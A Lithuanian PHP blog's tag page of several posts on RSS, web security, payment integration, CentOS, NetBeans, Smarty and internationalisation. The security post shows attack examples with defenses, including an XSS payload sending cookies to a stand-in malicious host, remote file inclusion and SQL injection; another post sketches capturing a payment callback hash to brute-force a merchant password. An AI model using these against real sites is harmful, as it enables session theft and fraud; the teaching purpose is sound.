Žymės įrašai

Rugpjūtis12

Iliustracijų korekcija RSS agregatoriuose (Komentarai 85)

Žymės: php,html,rss,regexp

Pasidalink!

Flying monkeys stole my icon

Neretai pasitaiko, jog tinklaraščių įrašuose kelias iki iliustracijų yra pateikiamas reliatyviai (pvz.: <img src="/images/foo.bar" />). Analogiškas HTML kodas bus pateikiamas ir to tinklaraščio RSS šaltinyje, todėl RSS skaitymo programose arba agregatoriuose tokia iliustracija daugeliu atveju nebus atvaizduota (nes bus ieškoma ne tinklaraščio, o agregatoriaus serveryje).

Šiai situacijai yra du sprendimo būdai: iliutracijų korekcija RSS šaltinyje arba RSS skaitymo programoje ar agregatoriuje (daugelis jų atlieka šį veiksmą).

Pateikiu PHP kodą, kuris tinka abiejais atvejais. Jis HTML kode esantiems paveikslėliams preprend'ina HTTP host'ą:

<?php
// Tekstas, kurį reikia išparsinti:
$blogEntry 'Kažkoks blogo įrašo tekstas<b>
<img src="http://www.cards.lt/img/cards_logo_small.jpg"
alt="Logo" /></b>
<img alt="Logo"
src="/img/cards-125x125.jpg" width="125" height="125" />'
;

// RSS'o URL, iš kurio parsinam įrašus (-ą)
$blogUrl 'http://www.lescinskas.lt/index.php/lt/blog/rss';

$parsedUrl parse_url($blogUrl);

// Išparsintas įrašas:
$parsedEntry preg_replace('/(<\s*img [^\>]*src\s*=\s*[\""\']?)(\/[^\""\'\s>]*)/i''\\1'.$parsedUrl['scheme'].'://'.$parsedUrl['host'].'\\2'$blogEntry);

echo 
$parsedEntry;
?>

 

Spalis27

Tinklalapių saugumas (Komentarai 100)

Žymės: php,saugumas,xss,csrf

Pasidalink!

:X

Šiame straipsnyje aprašomos tinklalapių saugumo skylės, pateikiant jų panaudojimo pavyzdžius bei apsisaugojimo būdus. Aptariamos šios atakos:

  • XSS (Cross-site scripting)
  • UTF-7 XSS
  • Cookie/session hijacking
  • CSRF (Cross-site request forgery)
  • Code injection: Directory traversal/Remote file inclusion
  • Malicious file upload
  • HTTP Redirect išnaudojimas
  • SQL injection.

Pavyzdžiai pateikiami PHP programavimo kalba.

Ataka: XSS (Cross-site scripting)

Kaip vykdoma ataka

Ataka vykdoma tuo atveju, kai pagal vartotojo įvestus duomenis formuojamas puslapio turinys (pvz.: rašant komentarus, pasisakymus, netikrinami duomenys vartotojo varduose, pavardėse, atliekant paiešką ir pan.).
Tinklalapis yra pažeidžiamas tuo atveju, kai rodant vartotojo duomenis galima įvykdyti Javascript kodą.
Pavyzdžiui, atliekant įrašą tinklalapio svečių knygoje įvedamas tekstas: <script>alert('You\'ve been hacked!')</script>
Analogiškas tekstas bus rodomas formuojant HTML turinį, tuo pačiu įvykdant ir kodą.
Analogiška situacija yra vykdant paiešką ir, pavyzdžiui, ieškant teksto su HTML tag'ais. Jei paieškos rezultate parodoma ieškota frazė su visu HTML'u tokį puslapį galima panaudoti perimant vartotojo slapuką ir sesiją (cookie/session hijacking).
Leidžiant įvesti kai kuriuos HTML elementus (pvz.: IMG, A, B, I...) galima pridėti atributą (pvz.: onmouseover) ir įvykdyti Javascript kodą.

Kaip apsisaugoti nuo atakos

Paprasčiausias metodas - neleisti apskritai įvesti HTML kodo, o vietose, kur rodomas vartotojo įvestas tekstas, jį strip'int naudojant strip_tags() ar htmlspecialchars().
Jei sistemoje yra leidžiama įvesti kai kuriuos HTML elementus, būtina išvalyti Javascript event'ų atributus (prasidedančius "on..."). Tam galima naudoti išorinę programą "Tidy" arba naudoti reguliarias išraiškas.
Plačiau Wikipedijoje: http://en.wikipedia.org/wiki/Cross-site_scripting

Ataka: UTF-7 XSS

Kaip vykdoma ataka

Ataka vykdoma pasinaudojant naršyklės savybe "nuspėti" naudojamą simbolių rinkinį.
UTF-7 leidžia bet kokį simbolį išreikšti ASCII simboliais, o naršyklė bandydama nuspėti, kokia koduotė naudojama, UTF-7 užkoduotus simbolius gali paversti į reprezentuojamus simbolius, kurie leidžia įvykdyti ataką.
Pavyzdžiui, UTF-7 koduotėje simbolis < žymimas +ADw, o simbolis > +AD4. Tokiu atveju formuojant antraštę (TITLE) iš simbolių:
+ADw-script+AD4-alert(document.location)+ADw-/script+AD4-
bus gaunamas realus vaizdas:
<script>alert(document.location)</script>
Tai suteikia galimybę įvykdyti Javascript kodą.

Kaip apsisaugoti nuo atakos

Visada siųsti koduotės nustatymus prie HTTP antraštės, pvz.:
header('Content-type: text/html; charset=UTF-8');
Prieš bet kokį dinamiškai formuojamą tekstą (pvz.: TITLE elementą), įrašyti koduotę nustatančią eilutę, pvz.:
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
Plačiau: http://openmya.hacker.jp/hasegawa/security/utf7cs.html

Ataka: Cookie/session hijacking

Kaip vykdoma ataka

Ataka remiasi tinklalapio XSS pažeidžiamumu. Jos esmė - naudojant išorinį elementą gauti vartotojo slapuką, kuriame įrašytas sesijos ID.
Pavyzdžiui, įterpus elementą:
<div onmouseover="document.getElementById('a').innerHTML='<img src=http://kenkejiskas-saitas.com/vagiam-cookie.php?'+document.cookie+' width=0 height=0/>'" style="height: 100px"></div>
<div id="a" />

Užvedus pelyte ant pirmojo bloko, bus įvykdomas Javascript kodas, kuris užkraus skriptą ir perduos jam visus slapukų duomenis (pastarieji gali būti išsiunčiami el. paštu ar kitaip perduodami), kartu ir sesijos ID. Piktavaliui užtenka pačiam įdėti slapuką su sesijos duomenimis ir jis jau bus prisijungęs prie sistemos kaip kitas vartotojas.
Sesijos ID gali būti perimamas ir tuo atveju, jei vartotojo naršyklė nepalaiko slapukų. Tokiu atveju PHP automatiškai prideda sesijos ID prie kiekvienos nuorodos ir kaip HIDDEN lauką formose.

Kaip apsisaugoti nuo atakos

Vartotojui prisijungiant, reikia išsaugoti IP adresą, iš kurio vartotojas jungiasi. PHP $_SERVER masyve IP adresą reprezentuoja REMOTE_ADDR ir HTTP_X_FORWARDED_FOR (jei naudojamasi Proxy serveriu) elementai.
Kaskart atliekant užklausą į serverį reikia patikrinti, ar užklausa įvykdoma iš to paties IP (bei IP forwarded) adreso. Jei reikšmės nesutampa, neleidžiama atlikti jokio veiksmo, o sesija panaikinama.
Plačiau Wikipedijoje: http://en.wikipedia.org/wiki/Session_fixation, http://en.wikipedia.org/wiki/Session_hijacking, http://en.wikipedia.org/wiki/Session_poisoning, http://en.wikipedia.org/wiki/Cross-site_cooking

Ataka: CSRF (Cross-site request forgery)

Kaip vykdoma ataka

Tarkime, žinoma, jog vartotojas yra prisijungęs prie kažkokio interneto tinklalapio.
Taipogi žinoma, kokia nuoroda kokį veiksmą atlieka. Pagal turimas žinias suformuojama nuoroda, kuri atlieka atitinkamą veiksmą ir nematomai patalpinama kažkokiama tinklalapyje. Pavyzdžiui:
<img src="http://www.bankas.com/pervesti-pinigus?i-saskaita=1234&amp;suma=1000Lt" />
Tuomet vartotojui pasiūloma apsilankyti kenkėjišką kodą turinčiame tinklalapyje. Ir vartotojui nepastebint, įvykdomas atitinkamas veiksmas.
POST metodas negelbsi, kadangi kenkėjiškame puslapyje gali būti ir automatiškai įvykdoma forma, ir IFRAME elementas. Tikrinti HTTP_REFERER taipogi neefektyvu, kadangi šiuos duomenis galima suklastoti.

Kaip apsisaugoti nuo atakos

Efektyvus sprendimas yra kiekvienam veiksmui generuoti atsitiktinę simbolių seką (žetonus - token'us), kuri, vykdant nuorodą, patikrinama. Tokiu atveju saugi nuoroda atrodytų taip: http://www.bankas.com/pervesti-pinigus?i-saskaita=1234&suma=1000Lt&token=Jdf1S19cQ, kurios paskutinis elementas kaskart būtų skirtingas. Analogiškai token'ai turėtų būti įterpiami į formas HIDDEN laukų pavidalu.
Plačiau Wikipedijoje: http://en.wikipedia.org/wiki/Cross-site_request_forgery

Ataka: Code injection: Directory traversal/Remote file inclusion

Kaip vykdoma ataka

Ataką galima įvykdyti, kai sisteminiuose failuose atidaromi ar iškviečiami failai, kurių pavadinimas generuojamas iš vartotojo įvedamų duomenų.
Pavyzdžiui, URL: http://www.example.com/modulis=straipsnis
PHP skriptas:
include($_GET['modulis'].'.php');
Tokiu atveju URL pakeitus į http://www.example.com/modulis=http://www.kenkejiskas-puslapis.com/kenkejiskas-kodas
bus įvykdomas skriptas iš http://www.kenkejiskas-puslapis.com/kenkejiskas-kodas.php
Analogiškai galima iškviesti bet kokią programą ar įtraukti bet kokį failą, esantį tame pačiame serveryje (pavyzdžiui, iškviečiant /etc/passwd)
Taip pat galima užkrėsti ir vartotojo slapukus, todėl negalima aklai pasitikėti ir juose saugomų duomenų tikrumu.

Kaip apsisaugoti nuo atakos

Išvalyti vartoto įvestus duomenis, paliekant TIK simbolius, esančius range [A-Za-z0-9_-]. Taip pat patikrinti, ar vartotojui leidžiama iškviesti atitinkamą kodą. Pavyzdžiui:
$moduliai = array('straipsnis', 'naujiena');
if(in_array($_GET['modulis'], $moduliai))
    echo 'OK';
else
    exit('Toks modulis neegzistuoja');
Plačiau Wikipedijoje: http://en.wikipedia.org/wiki/Code_injection, http://en.wikipedia.org/wiki/Directory_traversal, http://en.wikipedia.org/wiki/Remote_File_Inclusion

Ataka: Malicious file upload

Kaip vykdoma ataka

Naudojantis failo įkėlimo forma, įkeliamas skriptas, kuris įvykdomas per naršyklę. Toks skriptas sistemoje gali atlikti bet kokį darbą - nuo failų bei duomenų bazės informacijos nuskaitymo, įrašymo, modifikavimo iki visiško sunaikinimo.

Kaip apsisaugoti nuo atakos

Visada tikrinti įkeliamo failo MIME tipą ir leisti įkelti tik patikimus failų formatus.
Taip pat naudojant trečių šalių aplikacijas (pvz.: WYSIWYG redaktorius) pašalinti DEMO puslapius, kurie leidžia neribotai naudotis sistema. Vertėtų pasirūpinti, kad neprisijungusiems vartotojams nebūtų galima naudotis trečių šalių programomis (tam gali tekti modifikuoti pačią sistemą ir nepamiršti to atnaujinant sistemą į naujesnę versiją).

Ataka: HTTP Redirect išnaudojimas

Kaip vykdoma ataka

Siunčiant HTTP header'į "Location", naršyklė atveria nurodytą tinklalapį, vartotojui nerodydama HTML kodo, net jei jis perduodamas.
Visgi, jei HTML kodas yra perduodamas, jį galima gauti naudojant CURL biblioteką, taip gaunant papildomos informacijos (paprastam vartotojui nematomas nuorodas, tekstą ir pan.), kas gali palengvinti įsilaužimą į sistemą.

Kaip apsisaugoti nuo atakos

Po kiekvieno HTTP redirect'o, naudojant header('Location: ...'); baigti skripto vykdymą su exit();

Ataka: SQL injection

Kaip vykdoma ataka

Formuojant SQL užklausą dažnai tenka į ją įtraukti duomenis, kuriuos perduoda vartotojas.
Pavyzdžiui, kviečiant užklausą http://example.com/getUserData.php?user=59 turi būti formuojama tokia SQL užklausa:
SELECT * FROM users WHERE id=59
Tiesiogiai paimant duomenis su PHP eilutė atrodytų taip:
$result = mysql_query('SELECT * FROM users WHERE id='.$_GET['id']);
Vietoje parametro "id" perduodant kenksmingą kodą galima suformuoti bet kokią užklausą, pvz.:
http://example.com/getUserData.php?user=59 OR 1=1 - bus sugeneruota užklausa, kuri gražins visus įrašus iš duomenų lentelės.
Panaudojant SQL injection atakas galima ne tik gauti, bet ir modifikuoti duomenis bei nuskaityti duomenis, esančius failuose.

Kaip apsisaugoti nuo atakos

Tam, kad apsisaugoti nuo šio tipo atakų, reikia patikrinti kiekvieną argumentą, perdudodamą SQL užklausai.
Galima naudoti PHP funkciją mysql_real_escape_string(), o skaitinėms reikšmėms patikrinti, ar tai tikrai skaičius, naudojant is_numeric() arba typecast'inant kintamąjį į skaičių, naudojant settype() arba (int)$kintamasis;
Plačiau Wikipedijoje: http://en.wikipedia.org/wiki/SQL_injection

Rugpjūtis26

Mokėjimai.lt saugumo spragos ir dviprasmiška specifikacija (Komentarai 191)

Žymės: php,saugumas,mokėjimai

Pasidalink!

Mokėjimai.lt

Norint Internete vystyti verslą, kuomet reikia realizuoti mokėjimus Internete, yra 2 galimybės: sudaryti su keliais bankais sutartis, arba rinktis tarpininką. Pirmasis variantas yra gana komplikuotas ir brangus: sutartys su bankais ir mėnesiniai mokesčiai yra dideli, be to, techninė realizacija reikalauja specifinių technių žinių, kai kurie bankai reikalauja ir SSL sertifikato. Kitas, daugeliu atveju paprastesnis variantas yra rinktis tarpininką, kuris turi vieningą interfeisą visiems mokėjimų tipams, o kainą, ypač smulkesniam projektui, gali pasiūlyti itin konkurencingą. Vienas populiariausių tokių servisų Lietuvoje - mokėjimai.lt.

EVP, sukūrę mokėjimai.lt, eparasas.lt, manoid.lt ir kitus projektus, eina teisinga kryptimi, tačiau kai kurie požymiai rodo, jog gražiame įpakavime galima rasti neaišku ką... Vien jų OpenID implementacija, kuomet priimami tik manoid.lt vartotojai, rodo, jog jie nesupranta ir nepalaiko šios sistemos. Kai kurių sistemų siunčiama "User Agent" reikšmė yra "IDAMAS XML Sender", kas irgi rodo, jog kai kurių produktų kūrimu užsiima ne jie. Tiesiog outsource'ingas ar per mažas žinių ir patirties bagažas?

Grįžtant prie mokėjimai.lt, Diegiant ją į savo sistemą, vadovautis jų pateikta specifikacija nepavyks, kadangi ji... neteisinga! Funkcija, kuri turėtų patikrinti, ar mokėjimas teisingas, lietuviškoje ir angliškoje specifikacijos versijoje aprašytos skirtingai.

Lietuviškasis variantas:

 

//DĖMESIO: Nepamirškite funkcijoje įrašyti savo www.mokejimai.lt slaptažodį.
$your_pass = 'slaptazodis'; //irasome slaptazodi is jusu mokejimai.lt sistemos
$test_mode = 1; //1- kuomet testuojate. 0 - kuomet jau veikia sistema tikru rezimu.
if( mk_check ( $your_pass, $_REQUEST['orderid'],$_REQUEST['merchantid'] ) != $_REQUEST['_ss1'] || $_REQUEST['test'] <> $test_mode){
    die ("šaltinis netikras"); 
} 

function mk_check ( $password, $id, $mechant_id ) {
    return md5("{$password}|{$id}|{$_SERVER['REMOTE_ADDR']}|{$mechant_id}");
}

 

Tuo tarpu angliškas (webtopay.com) variantas:

 

    $your_webtopay_pass = md5("mypassword"); // please, enter your webtopay.com password
    if ( TestTransaction( $_GET['_ss1'], $your_webtopay_pass, $_GET['orderid'] ) ){ //verification of information source.
        //Everything is OK
    }else{
        //Something is wrong
    }

    function TestTransaction( $transaction, $userPassword, $ordeID, $test = 0, $status = 1 ){
        return ( $transaction == md5("{$userPassword}|{$ordeID}|{$test}|{$status}") );
    }

 

Kodai akivaizdžiai skiriasi, tačiau, nors angliškasis variantas arčiausiai tiesos, testiniame režime kintamasis $test vistiek bus lygus 0, ir md5 hash'ai nesutaps.

Tiesa, jie visus duomenis pasirašo viešojo rakto principu naudodami SSL sertifikatą, todėl yra ir kitas būdas patikrinti duomenų validumą.

Žiūrint į šią funkciją galima pastebėti vieną dalyką: žinant GET perduodamus duomenis (orderid ir _ss1) galime ir sužinoti prisijungimo prie mokėjimai.lt sistemos slaptažodį. Tai tik teorinė prielaida, tačiau ji turėtų suveikti. Kas nors galbūt ją ir patiktins ;)

Mokėjimo sistemos veikimo schema yra tokia:

1. Vartotojas formos duomenis (čia turime Order ID) perduoda mokėjimai.lt sistemai

2. Vartotojas nukreipiamas į banką ir ten sumoka pinigėlius. Grįžta į mokėjimai.lt

3. Siunčiama užklausa (su _ss1) kliento sistemai. Klientas pasižymi, kad už jo paslaugas ar prekes buvo apmokėta.

4. Vartotojas grąžinamas pas klientą

Viskas, ką reikia padaryti, kad gauti _ss1 reikšmę, yra pakeisti callback URL (duomenys juk nepasirašomi) kliento puslapyje (tam gali pasitarnauti ir Firebug). Tada 3 punkto užklausa bus siunčiama ne klientui, o ten, kur jūs pageidausite. Štai čia ir sužinosime _ss1 reikšmę.

O toliau elementarus brute-force, arba paieška iš rainbow table (juk jokia druskelė neįmaišoma į MD5 algoritmą).

Ir štai - turime vartotojo slaptažodį, kuriuo prisijungsime prie mokėjimai.lt sistemos.

Apie mokėjimai.lt saugumą taip pat rašė Steponas Kazakevičius.

Rugpjūtis27

PHP atnaujinimas CentOS sistemose (Komentarai 143)

Žymės: php,centos,vds,hostex

Pasidalink!

Prieš kurį laiką persikėliau į Hostex - įsigijau ten VDS su įdiegta CentOS.

Tačiau CentOS distribucijoje programų paketai yra atnaujinami itin retai, dėl to iškyla tiek suderinamumo, tiek saugumo problemų. Naudojant VDS tinklalapių, sukurtų su PHP programavimo kalba, talpinimui, labai pravartu atnaujinti PHP paketą, kadangi įdiegtoje 5.1.6 versijoje trūksta nemažai funkcionalumo. Nieko nuostabaus, juk ši versija buvo išleista prieš 3 metus (2006-08-24).

Tam, kad atnaujinti paketus, mums reikės:

  • Įdiegti yum programą (paketų tvarkymui)
  • Įtraukti repozitoriją, kurioje yra atnaujinti paketai (naudosime http://www.jasonlitka.com/yum-repository)
  • Atnaujinti reikiamus paketus
  • Perkrauti HTTP serverį

Yum galime įdiegti iš RPM paketo, arba per grafinę serverio paketų valdymo aplinką (Hostex atveju - Parallel Plesk).

Repozitoriją įtrauksime, sukurdami failą /etc/yum.repos.d/utterramblings.repo (galime naudoti vi, vim arba nano) ir įrašydami ten tokią informaciją:

[utterramblings]
name=Jason's Utter Ramblings Repo
baseurl=http://www.jasonlitka.com/media/EL$releasever/$basearch/
enabled=1
gpgcheck=1
gpgkey=http://www.jasonlitka.com/media/RPM-GPG-KEY-jlitka

Paketus atnaujiname iškviesdami komandą:

yum -y update php

Serverį perkrauname iškviesdami komandą:

 

service httpd restart

 

Daugiau informacijos ČIA ir ČIA.

Spalis20

PHP loginiai operatoriai ir operatorių eiliškumas (Komentarai 234)

Žymės: php

Pasidalink!

Atliekant veiksmus su loginiais operatoriais ir naudojant juos sąlygos sakiniuose, dažnai tikimasi tokios sąlygos schemos:

if ( <sąlyga> [ == <rezultatas> ] ) <atliekami veiksmai>;

Tačiau naudojant sąlygose loginius operatorius, ši schema negalioja, kadangi operatorių eiliškume palyginimo operatoriai yra aukštesnio prioriteto nei loginiai. Dėl to gauname ne visada tikėtą rezultatą. Pvz.:

$a = 5;
$b = 2;
echo ($a & $b == 0)?'nulis':'ne nulis'; // ne nulis
echo (($a & $b) == 0)?'nulis':'ne nulis'; // nulis

$a = 1;
$b = 2;
echo ($a & $b == 2)?'du':'ne du'; // du
echo (($a & $b) == 2)?'du':'ne du'; // ne du

 

Operatorių eiliškumas iš PHP manual'o.

Associativity Operators Additional Information
non-associative clone new clone and new
left [ array()
non-associative ++ -- increment/decrement
non-associative ~ - (int) (float) (string) (array) (object) (bool) @ types
non-associative instanceof types
right ! logical
left * / % arithmetic
left + - . arithmetic and string
left << >> bitwise
non-associative < <= > >= <> comparison
non-associative == != === !== comparison
left & bitwise and references
left ^ bitwise
left | bitwise
left && logical
left || logical
left ? : ternary
right = += -= *= /= .= %= &= |= ^= <<= >>= assignment
left and logical
left xor logical
left or logical
left , many uses

 

Sausis12

Populiariausios 2009 m. programavimo kalbos (Komentarai 70)

Žymės: php,ruby,java,go,objective-c,tiobe

Pasidalink!

Kompanija „Tiobe“ paskelbė populiariausių 2009 metų programavimo kalbų sąrašą. Šis sąrašas sudaromas pagal Tiobe indeksą, kuris remiasi paieškos sistemų (Google, Google Blogs, MSN, Yahoo!, Wikipedia ir YouTube) rezultatais.

Tiobe indeksas

Labiausiai (1,25%) į viršų pakilo „Google“ programavimo kalba „Go“, kuri, nors buvo pristatyta tik metų gale, Tiobe indekse užėmė 13 vietą. Visgi, kadangi ši programavimo kalba labai nauja, neaišku, ar šis populiarumas yra pelnytas, ar tai buvo vienkartinis susidomėjimas.

12 vietoje atsirado „Objective-C“ programavimo kalba, kuria kuriamos programos iPhone. Natūralu, jog iPhone populiarumas atsispindėjo ir šiame indekse. Ši kalba pagal populiarumą pakilo 1,24%.

Tendencingesnių programavimo kalbų sąraše verta paminėti ir PHP, kuri pakilo 1,19% ir, aplenkusi C++ ir (Visual) Basic, atsidūrė 3 sąrašo vietoje bei Ruby, kuri pagaliau įkopė į dešimtuką, išstūmusi iš jo „Delphi“.

Lyderio pozicijas toliau išlaiko Java, nors jos populiarumas nukrito 1,54%.

Rugpjūtis17

NetBeans patarimai (Tips And Tricks) (Komentarai 181)

Žymės: php,java,netbeans

Pasidalink!

NetBeans

Viena populiariausių (kartu su Eclipse ar jos pagrindu sukurtomis) programavimo aplinkų (IDE) Java, PHP, Ruby ir kitoms programavimo kalboms yra NetBeans. Man, kaip ir kitiems pradedantiems programuotojams, patinka šios aplinkos paprastumas, veikimas „out of the box“. Įskiepius diegti ir konfigūruoti aplinką čia paprasčiau nei Eclipse, nors galimybėmis šios aplinkos labai panašios.

Keletas patarimų iš praktikos, kad programavimas būtų efektyvesnis.

  • Shift+ESC - Lango padidinimas per visą ekraną
  • Ctrl+Shift+Aukštyn/Žemyn - sukuria eilutės dublikatą
  • Alt+Shift+Aukštyn/Žemyn - perkelia eilutę į viršų/apačią
  • Alt+Shift+Kairė/Dešinė - padidina arba sumažina atitraukimą (indent)
  • Ctrl+E - ištrina eilutę
  • Ctrl+Space - kodo autocomplete'as (jei įmanoma).
  • 6.5 ir naujesnėse versijose kintamojo aprašymui galite naudoti kodo šabloną vdoc. Jei jūsų kintamasis yra neaiškaus tipo (pvz.: kažkurios klasės objektas), virš jo rašydami vdoc ir spausdami Tab gausite strukdūrą /* @var $kintamasis Tipas */ - taip kintamajam veiks navigacija po kodą (Ctrl+pelytės paspaudimas) bei autocomplete'as. Naviguojant po kodą atgal ir pirmyn vaikščioti galima su Alt+Dešinė bei Alt+Kairė. Kintamojo aprašymai veikia ir Eclipse IDE.

NetBeans vardoc

  • Alt+Shift+O - atidaro failo paieškos langą
  • Ctrl+Alt+Shift+O - atidaro simbolio (metodo, konstantos, kintamojo) paieškos langą. Nenaudojant kintamojo aprašymo, patogu šį trumpinį spausti ant kviečiamo metodo - taip paieškos laukelyje iškart atsiranda to metodo pavadinimas.
  • Ctrl+/ - užkomentuoja ar atkomentuoja eilutę ar pažymėtas eilutes
  • Ctrl+R - pervadinimo refaktoringas
  • Ctrl+Shift+F - paieška per failus. Spaudžiant prieš tai pažymėjus direktoriją projektų ar failų lange, galima pasirinkti ieškoti toje direktorijoje.
  • Ctrl+G - eina į nurodytą eilutę faile

Savo nuorodų trumpinius gali susikurti ar redaguoti per Tools -> Options -> Keymap. Aš naudoju trumpinius kodo iš repozitorijos atnaujinimui (update) ir įkėlimui (commit).

Kodo šablonus galite kurti bei redaguoti per Tools -> Options -> Editor -> Code Templates.

Programuoji su NetBeans? Pasidalink savo patarimais!

Nuorodos: NetBeans bendruomenės patarimai bei patarimai iš Stack Overflow.

Lapkritis15

Smarty 3 apžvalga (Komentarai 339)

Žymės: php,smarty

Pasidalink!

Smarty

Po beveik 2 metus (2008-12-16 - 2010-11-12) trukusio programavimo, buvo išleista 3 PHP šablonų variklio „Smarty“ versija.

Sistema buvo perrašyta iš pagrindų, pritaikyta PHP 5 versijai, buvo sukurtas naujas sintaksės nagrinėjimo variklis (parser), pagerėjo sistemos darbo našumas, šiek tiek pasikeitė šablonų sintaksė.

Nors egzistuoja kontraversiškos nuomonės, reikalingas PHP kalbos šablonų variklis ar ne, „Smarty“ suteikia papildomas galimybes atskiriant prezentacijos logiką nuo programos logikos. Be to, techniniams dizaineriams, nemokantiems PHP kalbos, dirbti su „Smarty“ gali būti patogiau, saugiau ir produktyviau.

Smarty 3 sintaksė šiek tiek pasikeitė nuo 2 versijos, todėl seni šablonai gali neveikti, ypač jei jie buvo parašyti su klaidomis. 3 versija į sintaksės klaidas žiūri griežčiau, tačiau turi papildomų galimybių.

Kas pasikeitė Smarty 3 versijos šablonų sintaksėje nuo 2 versijos:

Atsisakyta {ldelim} ir {rdelim}

2 versijoje norint naudoti { ir } simbolius šablone (pvz.: rašant Javascript funkcijas) juos reikdavo pakeisti {ldelim} ir {rdelim} simboliais arba rašyti tekstą tarp {literal} ir {/literal}. Dabar to daryti nebereikia, tačiau rašant kintamuosius ar funkcijas nebegalima palikti tarpų tarp skirtukų, pvz,: { $foo } ir išves tokį tekstą, o ne kintamojo reikšmę.

Masyvų modifier'is

2 versijoje norint modifier'iui perduoti visą masyvą, o ne atskirus jo elementus, reikdavo pridėti @ simbolį, pvz.: {$masyvas|@count}. Dabar visas masyvas perduodamas modifier'iui, pvz.: {$masyvas|count}.

{php} žymės

Standartiškai {php} žymės 3 versijoje yra uždraustos. Jas galima įjungti nurodant $smarty->allow_php_tag = true;

Kabutės parametruose

2 versijoje kabutės parametruose buvo nebūtinos, tačiau 3 versijoje jas naudoti būtina, pvz.: {include file="/kelias/iki/sablono.tpl"}

Visi pakeitimai, nesuderinami su „Smarty“ 2 versija.

Taip pat buvo padaryti pakeitimai, palengvinantys darbą su duomenimis:

Išplėstas {foreach} funkcionalumas

3 versijoje galima naudoti tokią {foreach} sintaksę:

{foreach $masyvas as $reiksme}

{$reiksme}

{/foreach}

Taip pat palengvintas ciklo savybių gavimas, pvz.:

{$reiskme@key} - masyvo raktas

{$reiksme@iteration} - ciklo iteracija

{$reiksme@total} - visas masyvo elementų kiekis

{$reiksme@first}, {$reiksme@last} - grąžina true, jei elementas pirmas/paskutinis. Patogu naudoti sąlygos sakiniuose

2 „Smarty“ versijoje šios savybės buvo pasiekiamos per {$smarty.foreach.<ciklo vardas>.<savybė>}

{strip} blokas

Naudojant {strip} ir {/strip} galima nurodyti, jog visas output'as šiame bloke bus rašomas vienoje eilutėje, pašalinant tarpus, naujas eilutes ir kt. whitespace simbolius.

„Smarty“ 3 versijoje taip pat atsirado šablonų paveldėjimas, funkcijų kūrimas pačiuose šablonuose ir kt. Taip pat šis tas pasikeitė PHP pusėje, pvz.: dabar norint paveldėti Smarty klasę, reikia iškviesti tėvinį konstruktorių - parent::__construct();

Pilna „Smarty“ 3 versijos apžvalga smarty.net tinklalapyje.

Balandis11

MongoDB (Komentarai 302)

Žymės: php,sql,mongo,mongodb,mysql,nosql

Pasidalink!

MongoDB yra dokumentinė NoSQL tipo duomenų bazių valdymo sistema.

Noriu pasidalinti savo prezentacija apie MongoDB - tikiuosi bus naudinga.

Rugpjūtis16

Daugiakalbiškumas PHP (Komentarai 404)

Žymės: php,utf,unicode,icu,i18n,l10n

Pasidalink!

 Kuriant daugiakalbišką programinę įrangą, viena aktualiausių sprendžiamų problemų yra programos pritaikymas skirtingų šalių kalboms (internationalization; I18n) bei kitoms kultūrinėms ypatybėms, pvz.: skaičių, datų ir kt. rašymas (localization; L10n).

 
Pavyzdžiui:
  • tiesioginis teksto vertimas, teksto rikiavimas, specialių simbolių vertimas lotyniškais (transliteration);
  • daugiskaitinės formos, pvz.: lietuvių kalboje yra trys daugiskaitinės formos - vienas obuolys, du obuoliai, dešimt obuolių; anglų kalboje dvi - one apple, two apples, ten apples;
  • datos rašymas, pvz.: Europoje 2013-08-16, JAV 8/16/13;
  • valiutos rašymas, pvz.: 10 Lt, $10
  • ilgio (metrai, pėdos), svorio (kg, svarai), tūrio (litrai, galonai) ir kt. standartai (metric/imperial);
  • teksto iš kairės (left-to-right; ltr), teksto iš dešinės (right-to-left; ltr) rašymas;
  • ir kt.
 
Su tekstu susijusios problemos dažniausiai sprendžiamos naudojant standartines operacinės sistemos priemones - lokales.
Pvz.:
 
setlocale(LC_TIME, 'lt_LT.UTF-8');
echo strftime('%c'); // 2013 m. rugpjūčio 16 d. 11:50:29
setlocale(LC_TIME, 'en_US.UTF-8');
echo strftime('%c'); // Fri 16 Aug 2013 11:50:29 AM EEST
 
Visgi, šios priemonės neatitinka visų poreikių, be to, lokalės turi būti įdiegtos pačioje operacinėje sistemoje.
Linux OS gauti įdiegtų lokalių sąrašą galima komanda locale -a
 
Projektas, sprendžiantis daugiau problemų, susijusių su unikodo (UTF) internacionalizacija, vadinamas ICU (Internationalization Components for Unicode): http://site.icu-project.org/
Norint naudotis ICU, operacinėje sistemoje turi būti įdiegt ICU biblioteka (Ubuntu atveju libicu*). PHP biblioteka vadinasi intl, ją galima įdiegti iš PECL repozitorijos arba Ubuntu aveju kaip paketą php5-intl.
 

Transliteravimas

 
Dažnai tenka ne lotyniškus simbolius paversti lotyniškais, pvz.: formuojant lotyniškais simboliais pagrįstus nuorodų fragmentus (slug).
Tam galima pasinaudoti Transliterator klase:
 
$id = "Any-Latin; NFD; [:Nonspacing Mark:] Remove; NFC; [:Punctuation:] Remove; Lower();";
$transliterator = Transliterator::create($id);
$string = "ąčiū!?_-&% ĄČĘĖĮŠŲŪŽ";
echo $transliterator->transliterate($string);
// aciu aceeisuuz
 
Slug atveju tarpo simbolius paversti brūkšneliais galima naudojant Regxp:
 
echo preg_replace('/\s+/', '-', 'tekstas   tekstas2');
// tekstas-tekstas2
 
Transliterator::create() perduodamą argumentą galima susiformuoti pagal ICU transformacijos gidą: http://userguide.icu-project.org/transforms/general
NFC, NFD - unikodo normalizacijos ir denormalizacijos funkcijos. Plačiau: http://en.wikipedia.org/wiki/Unicode_equivalence
 

Rikiavimas

 
Standartiškai masyvas PHP rikiuojamas (sort) taip:
 
$arr = ['urvas', 'ūkas', 'Ukmergė', 'ugnis'];
sort($arr);
print_r($arr);
// Array ( [0] => Ukmergė [1] => ugnis [2] => urvas [3] => ūkas ) 
 
Matome, jog rezultatas nėra teisingas (pirma rikiuojama didžioji raidė, lietuviška ū rikiuojama paskutinė).
 
Įprastu atveju galima sort() funkcijai nurodyti, kad būtų naudojama sistemos lokalė (perduodant SORT_LOCALE_STRING konstantos reikšmę kaip antrą parametrą):
 
setlocale(LC_ALL, 'lt_LT.UTF-8');
$arr = ['urvas', 'ūkas', 'Ukmergė', 'ugnis'];
sort($arr, SORT_LOCALE_STRING);
print_r($arr);
Array ( [0] => ugnis [1] => ūkas [2] => Ukmergė [3] => urvas )
 
Rezultatas teisingas, tačiau tai turi neigiamų pasėkmių, nes lokalė greičiausiai bus nustatoma globaliai, be to, ji turi būti įdiegta operacinėje sistemoje.
 
Kitas variantas yra naudoti Collator klasę:
 
